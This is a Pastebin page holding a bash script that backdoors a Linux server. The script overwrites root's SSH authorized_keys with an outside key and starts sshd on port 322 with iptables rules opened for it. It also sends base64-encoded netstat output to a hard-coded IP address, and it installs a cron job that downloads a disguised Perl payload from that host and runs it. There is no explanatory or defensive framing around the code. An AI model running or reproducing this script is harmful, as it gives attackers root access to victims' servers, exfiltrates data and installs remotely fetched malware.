Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- exists=$(grep -c "^jkl:" /etc/passwd)
- if [ $exists -eq 0 ]; then
- chattr -isa /root/.ssh/authorized_keys
- echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI3JzaABDotq1IL3m3KCpwMdGCY+Jr5CGbnznw4QPvVh139jplKrTxm7/3bLdfiLXtkmZfQBiWykH1zi0boA4Tdpw2VJAP9cJL7aru3yX6Zp9Ipo8BdwHHx/KCvLeT9zXosdFCGMyrLZySvhLs3ndqcKOLnQiEAwctaMQxH6hyuRo7Ao5xHTQuYHPVLjNQcZ4as2lFmSEHciPaRda7qgOapWXJdFscwiCyfjxoXOvhRLIb9zVuyvYIc+/X3lufaBrr5G7ElnEfV9/82D9GEOfIXXmLpbSmk5jnu66AXPk4KepTzFx3orvQA7Vk84YsWQDxcyiw78nCvICk1S30YtJ root@' >/root/.ssh/authorized_keys
- /usr/sbin/sshd -p 322
- /sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
- /sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
- /sbin/iptables-save >/dev/null 2>&1
- /usr/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
- /usr/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
- /usr/sbin/iptables-save >/dev/null 2>&1
- data2=`netstat -natp |grep sshd|base64`
- wget -q --post-data "DATA=dGlua2QK&DATA2=$data2" 45.148.10.84/.z/p.php -O /dev/null
- cd /tmp
- echo 'cd /tmp;wget 45.148.10.84/r.png;perl r.png;rm -fr r.png' > twink
- echo 'crontab -l|grep -v twink > /tmp/mycron;crontab /tmp/mycron;rm -fr /tmp/twink' >> twink
- echo '* * * * * /tmp/twink' >mycron
- crontab -l >> mycron
- chmod +x /tmp/twink
- crontab mycron;rm -fr mycron
- else
- exit
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement